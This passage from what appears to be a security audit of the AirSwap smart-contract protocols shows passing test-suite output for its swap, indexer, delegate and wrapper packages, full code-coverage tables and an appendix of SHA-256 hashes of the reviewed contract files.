ERC115TransferHandler to transfer all the her ERC1155 tokens (38ms) ✓ Carol initiates an ERC1155 transfer of Dragon game token (#10) from Alice to Bob (107ms) 26 passing (4s) lerna info run Ran npm script 'test' in '@airswap/types' in 9.2s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./test/MockTypes.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/types/test/MockTypes.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Types Unit TestsTest hashing functions within the library ✓ Test hashOrder (163ms) ✓ Test hashDomain (56ms) 2 passing (2s) lerna info run Ran npm script 'test' in '@airswap/indexer' in 26.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol Contract: Index Unit Tests Test constructor ✓ should setup the linked locators as just a head, length 0 (48ms) Test setLocator ✓ should not allow a non owner to call setLocator (91ms) ✓ should not allow a blank locator to be set (49ms) ✓ should allow an entry to be inserted by the owner (112ms) ✓ should insert subsequent entries in the correct order (230ms) ✓ should insert an identical stake after the pre-existing one (281ms) ✓ should not be able to set a second locator if one already exists for an address (115ms) Test updateLocator ✓ should not allow a non owner to call updateLocator (49ms) ✓ should not allow update to non-existent locator (51ms) ✓ should not allow update to a blank locator (121ms) ✓ should allow an entry to be updated by the owner (161ms) ✓ should update the list order on updated score (287ms) Test getting entries ✓ should return the entry of a user (73ms) ✓ should return empty entry for an unset user Test unsetLocator ✓ should not allow a non owner to call unsetLocator (43ms) ✓ should leave state unchanged for someone who hasnt staked (100ms) ✓ should unset the entry for a valid user (230ms) Test getScore ✓ should return no score for a non-user (101ms) ✓ should return the correct score for a valid user Test getLocator ✓ should return empty locator for a non-user (78ms) ✓ should return the correct locator for a valid user (38ms) Test getLocators ✓ returns an array of empty locators ✓ returns specified number of elements if < length (267ms) ✓ returns only length if requested number if larger (198ms) ✓ starts the array at the specified starting user (190ms) ✓ starts the array at the specified starting user - longer list (543ms) ✓ returns nothing for an unstaked user (205ms) Contract: Indexer Unit Tests Check constructor ✓ should set the staking token address correctly Test createIndex ✓ createIndex should emit an event and create a new index (51ms) ✓ createIndex should create index for same token pair but different protocol (101ms) ✓ createIndex should just return an address if the index exists (88ms) Test addTokenToBlacklist and removeTokenFromBlacklist ✓ should not allow a non-owner to blacklist a token (47ms) ✓ should allow the owner to blacklist a token (56ms) ✓ should not emit an event if token is already blacklisted (73ms) ✓ should not allow a non-owner to un-blacklist a token (40ms) ✓ should allow the owner to un-blacklist a token (128ms) Test setIntent ✓ should not set an intent if the index doesnt exist (72ms) ✓ should not set an intent if the locator is not whitelisted (185ms) ✓ should not set an intent if a token is blacklisted (323ms) ✓ should not set an intent if the staking tokens arent approved (266ms) ✓ should set a valid intent on a non-whitelisted indexer (165ms) ✓ should set 2 intents for different protocols on the same market (325ms) ✓ should set a valid intent on a whitelisted indexer (230ms) ✓ should update an intent if the user has already staked - increase stake (369ms) ✓ should fail updating the intent when transfer of staking tokens fails (713ms) ✓ should update an intent if the user has already staked - decrease stake (397ms) ✓ should update an intent if the user has already staked - same stake (371ms) Test unsetIntent ✓ should not unset an intent if the index doesnt exist (44ms) ✓ should not unset an intent if the intent does not exist (146ms) ✓ should successfully unset an intent (294ms) ✓ should revert if unset an intent failed in token transfer (387ms) Test getLocators ✓ should return blank results if the index doesnt exist ✓ should return blank results if a token is blacklisted (204ms) ✓ should otherwise return the intents (758ms) Test getStakedAmount.call ✓ should return 0 if the index does not exist ✓ should retrieve the score on a token pair for a user (208ms) Contract: Indexer Deploying... ✓ Deployed staking token "AST" (39ms) ✓ Deployed trading token "DAI" (43ms) ✓ Deployed trading token "WETH" (45ms) ✓ Deployed Indexer contract (52ms) Index setup ✓ Bob creates a index (collection of intents) for WETH/DAI, LIBP2P (68ms) ✓ Bob tries to create a duplicate index (collection of intents) for WETH/DAI, LIBP2P (54ms)✓ Bob tries to create another index for WETH/DAI, but for Delegates (58ms) ✓ The owner can set and unset a locator whitelist for a locator type (397ms) ✓ Bob ensures no intents are on the Indexer for existing index (54ms) ✓ Bob ensures no intents are on the Indexer for non-existing index ✓ Alice attempts to stake and set an intent but fails due to no index (53ms) Staking ✓ Alice attempts to stake with 0 and set an intent succeeds (76ms) ✓ Alice attempts to unset an intent and succeeds (64ms) ✓ Fails due to no staking token balance (95ms) ✓ Staking tokens are minted for Alice and Bob (71ms) ✓ Fails due to no staking token allowance (102ms) ✓ Alice and Bob approve Indexer to spend staking tokens (64ms) ✓ Checks balances ✓ Alice attempts to stake and set an intent succeeds (86ms) ✓ Checks balances ✓ The Alice can unset alice's intent (113ms) ✓ Bob can set an intent on 2 indexes for the same market (397ms) ✓ Bob can increase his intent stake (193ms) ✓ Bob can decrease his intent stake and change his locator (225ms) ✓ Bob can keep the same stake amount (158ms) ✓ Owner sets the locator whitelist for delegates, and alice cannot set intent (98ms) ✓ Deploy a whitelisted delegate for alice (177ms) ✓ Bob can remove his unwhitelisted intent from delegate index (89ms) ✓ Remove locator whitelist from delegate index (73ms) Intent integrity ✓ Bob ensures only one intent is on the Index for libp2p (67ms) ✓ Alice attempts to unset non-existent index and reverts (50ms) ✓ Bob attempts to unset an intent and succeeds (81ms) ✓ Alice unsets her intent on delegate index and succeeds (77ms) ✓ Bob attempts to unset the intent he just unset and reverts (81ms) ✓ Checks balances (46ms) ✓ Bob ensures there are no more intents the Index for libp2p (55ms) ✓ Alice attempts to set an intent for libp2p and succeeds (91ms) Blacklisting ✓ Alice attempts to blacklist a index and fails because she is not owner (46ms) ✓ Owner attempts to blacklist a index and succeeds (57ms) ✓ Bob tries to fetch intent on blacklisted token ✓ Owner attempts to blacklist same asset which does not emit a new event (42ms) ✓ Alice attempts to stake and set an intent and fails due to blacklist (66ms) ✓ Alice attempts to unset an intent and succeeds regardless of blacklist (90ms) ✓ Alice attempts to remove from blacklist fails because she is not owner (44ms) ✓ Owner attempts to remove non-existent token from blacklist with no event emitted ✓ Owner attempts to remove token from blacklist and succeeds (41ms) ✓ Alice and Bob attempt to stake and set an intent and succeed (262ms) ✓ Bob fetches intents starting at bobAddress (72ms) ✓ shouldn't allow a locator of 0 (269ms) ✓ shouldn't allow a previous stake to be updated with locator 0 (308ms) 106 passing (19s) lerna info run Ran npm script 'test' in '@airswap/swap' in 32.4s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/ISwap.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Swap Handler Checks Deploying... ✓ Deployed Swap contract (1221ms) ✓ Deployed test contract "AST" (41ms) ✓ Deployed test contract "DAI" (41ms) ✓ Deployed test contract "OMG" (52ms) ✓ Deployed test contract "MintableERC1155Token" (48ms) ✓ Test adding transferHandler by non-owner reverts ✓ Set up TokenRegistry (290ms) Minting ERC20 tokens (AST, DAI, and OMG)... ✓ Mints 1000 AST for Alice (84ms) ✓ Mints 1000 OMG for Alice (83ms) ✓ Mints 1000 DAI for Bob (69ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST, 200 OMG, and 0 DAI, Bob 0 AST and 1000 DAI) (238ms) Swaps (Fungible) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (300ms) ✓ Checks balances and allowances for Alice and Bob... (142ms) ✓ Checks that Alice cannot trade 200 AST more than allowance of 50 AST (66ms) ✓ Checks that Bob can not trade more than 950 DAI balance he holds (513ms) ✓ Checks remaining balances and approvals were not updated in failed trades (138ms) ✓ Adding an id with Fungible token will cause revert (513ms) ✓ Checks that adding an affiliate address still swaps (350ms) ✓ Transfers tokens back for future tests (339ms) Swaps (Non-standard Fungible) ✓ Checks that Bob can swap with Alice (200 OMG for 50 DAI) (299ms) ✓ Checks balances... (60ms) ✓ Checks that Bob cannot take the same order again (200 OMG for 50 DAI) (41ms) ✓ Checks balances and approvals... (94ms)✓ Checks that Alice cannot trade 200 OMG when allowance is 0 (126ms) ✓ Checks that Bob can not trade more OMG tokens than he holds (111ms) ✓ Checks remaining balances and approvals (135ms) Deploying NFT tokens... ✓ Deployed test contract "ConcertTicket" (50ms) ✓ Deployed test contract "Collectible" (42ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (393ms) ✓ Checks balances... (93ms) ✓ Checks that Carol gets paid token ticket (#121) for facilitating a trade between Alice and Bob (540ms) Minting ERC721 Tokens ✓ Mints a concert ticket (#12345) for Alice (55ms) ✓ Mints a kitty collectible (#54321) for Bob (48ms) Swaps (Non-Fungible) with unknown kind ✓ Alice approves Swap to transfer her concert ticket (38ms) ✓ Alice sends Bob with an unknown kind for 100 DAI (492ms) Swaps (Non-Fungible) ✓ Alice approves Swap to transfer her concert ticket ✓ Bob cannot buy Ticket #12345 from Alice if she sends id and amount in Party struct (662ms) ✓ Bob buys Ticket #12345 from Alice for 100 DAI (303ms) ✓ Bob approves Swap to transfer his kitty collectible (40ms) ✓ Alice cannot buy Kitty #54321 from Bob for 50 AST if Kitty amount specified (565ms) ✓ Alice buys Kitty #54321 from Bob for 50 AST (423ms) ✓ Alice approves Swap to transfer her kitty collectible (53ms) ✓ Checks that Carol gets paid Kitty #54321 for facilitating a trade between Alice and Bob (389ms) Minting ERC1155 Tokens ✓ Mints 100 of Dragon game token (#10) for Alice (60ms) ✓ Mints 100 of Dragon game token (#15) for Bob (52ms) Swaps (ERC-1155) ✓ Alice approves Swap to transfer all the her ERC1155 tokens ✓ Bob cannot sell 5 Dragon Token (#15) to Alice when he did not approve them (398ms) ✓ Check the balances prior to ERC1155 token transfers (170ms) ✓ Bob buys 50 Dragon Token (#10) from Alice when she sends id and amount in Party struct (303ms) ✓ Checks that Carol gets paid 10 Dragon Token (#10) for facilitating a fungible token transfer trade between Alice and Bob (409ms) ✓ Check the balances after ERC1155 token transfers (161ms) Contract: Swap Unit Tests Test swap ✓ test when order is expired (46ms) ✓ test when order nonce is too low (86ms) ✓ test when sender is provided, and the sender is unauthorized (63ms) ✓ test when sender is provided, the sender is authorized, the signature.v is 0, and the signer wallet is unauthorized (80ms) ✓ test swap when sender and signer are the same (87ms) ✓ test adding ERC20TransferHandler that does not swap incorrectly and transferTokens reverts (445ms) Test cancel ✓ test cancellation with no items ✓ test cancellation with one item (54ms) ✓ test an array of nonces, ensure the cancellation of only those orders (140ms) Test cancelUpTo functionality ✓ test that given a minimum nonce for a signer is set (62ms) ✓ test that given a minimum nonce that all orders below a nonce value are cancelled Test authorize signer ✓ test when the message sender is the authorized signer Test revoke ✓ test that the revokeSigner is successfully removed (51ms) ✓ test that the revokeSender is successfully removed (49ms) Contract: Swap Deploying... ✓ Deployed Swap contract (197ms) ✓ Deployed test contract "AST" (44ms) ✓ Deployed test contract "DAI" (43ms) ✓ Check that TransferHandlerRegistry correctly set ✓ Set up TokenRegistry and ERC20TransferHandler (64ms) Minting ERC20 tokens (AST and DAI)... ✓ Mints 1000 AST for Alice (77ms) ✓ Mints 1000 DAI for Bob (74ms) Approving ERC20 tokens (AST and DAI)... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 1000 DAI) (134ms) Swaps (Fungible) ✓ Checks that Alice cannot swap more than balance approved (2000 AST for 50 DAI) (529ms) ✓ Checks that Bob can swap with Alice (200 AST for 50 DAI) (289ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (86ms) ✓ Alice sends Bob with an unknown kind for 10 DAI (474ms) ✓ Checks balances... (64ms) ✓ Checks that Bob cannot take the same order again (200 AST for 50 DAI) (50ms) ✓ Checks balances... (66ms) ✓ Checks that Alice cannot trade more than approved (200 AST) (98ms) ✓ Checks that Bob cannot take an expired order (46ms) ✓ Checks that an order is expired when expiry == block.timestamp (52ms) ✓ Checks that Bob can not trade more than he holds (82ms) ✓ Checks remaining balances and approvals (212ms) ✓ Checks that adding an affiliate address but empty token address and amount still swaps (347ms) ✓ Transfers tokens back for future tests (304ms) Signer Delegation (Signer-side) ✓ Checks that David cannot make an order on behalf of Alice (85ms) ✓ Checks that David cannot make an order on behalf of Alice without signature (82ms) ✓ Alice attempts to incorrectly authorize herself to make orders ✓ Alice authorizes David to make orders on her behalf ✓ Alice authorizes David a second time does not emit an event ✓ Alice approves Swap to spend the rest of her AST ✓ Checks that David can make an order on behalf of Alice (314ms) ✓ Alice revokes authorization from David (38ms) ✓ Alice fails to try to revokes authorization from David again ✓ Checks that David can no longer make orders on behalf of Alice (97ms) ✓ Checks remaining balances and approvals (286ms) Sender Delegation (Sender-side) ✓ Checks that Carol cannot take an order on behalf of Bob (69ms) ✓ Bob tries to unsuccessfully authorize himself to be an authorized sender ✓ Bob authorizes Carol to take orders on his behalf ✓ Bob authorizes Carol a second time does not emit an event✓ Checks that Carol can take an order on behalf of Bob (308ms) ✓ Bob revokes sender authorization from Carol ✓ Bob fails to revoke sender authorization from Carol a second time ✓ Checks that Carol can no longer take orders on behalf of Bob (66ms) ✓ Checks remaining balances and approvals (205ms) Signer and Sender Delegation (Three Way) ✓ Alice approves David to make orders on her behalf (50ms) ✓ Bob approves David to take orders on his behalf (38ms) ✓ Alice gives an unsigned order to David who takes it for Bob (199ms) ✓ Checks remaining balances and approvals (160ms) Signer and Sender Delegation (Four Way) ✓ Bob approves Carol to take orders on his behalf ✓ David makes an order for Alice, Carol takes the order for Bob (345ms) ✓ Bob revokes the authorization to Carol ✓ Checks remaining balances and approvals (141ms) Cancels ✓ Checks that Alice is able to cancel order with nonce 1 ✓ Checks that Alice is unable to cancel order with nonce 1 twice ✓ Checks that Bob is unable to take an order with nonce 1 (46ms) ✓ Checks that Alice is able to set a minimum nonce of 4 ✓ Checks that Bob is unable to take an order with nonce 2 (50ms) ✓ Checks that Bob is unable to take an order with nonce 3 (58ms) ✓ Checks existing balances (Alice 650 AST and 180 DAI, Bob 350 AST and 820 DAI) (146ms) Swaps with Fees ✓ Checks that Carol gets paid 50 AST for facilitating a trade between Alice and Bob (410ms) ✓ Checks balances... (97ms) Swap with Public Orders (No Sender Set) ✓ Checks that a Swap succeeds without a sender wallet set (292ms) Signatures ✓ Checks that an invalid signer signature will revert (328ms) ✓ Alice authorizes Eve to make orders on her behalf ✓ Checks that an invalid delegate signature will revert (376ms) ✓ Checks that an invalid signature version will revert (146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol 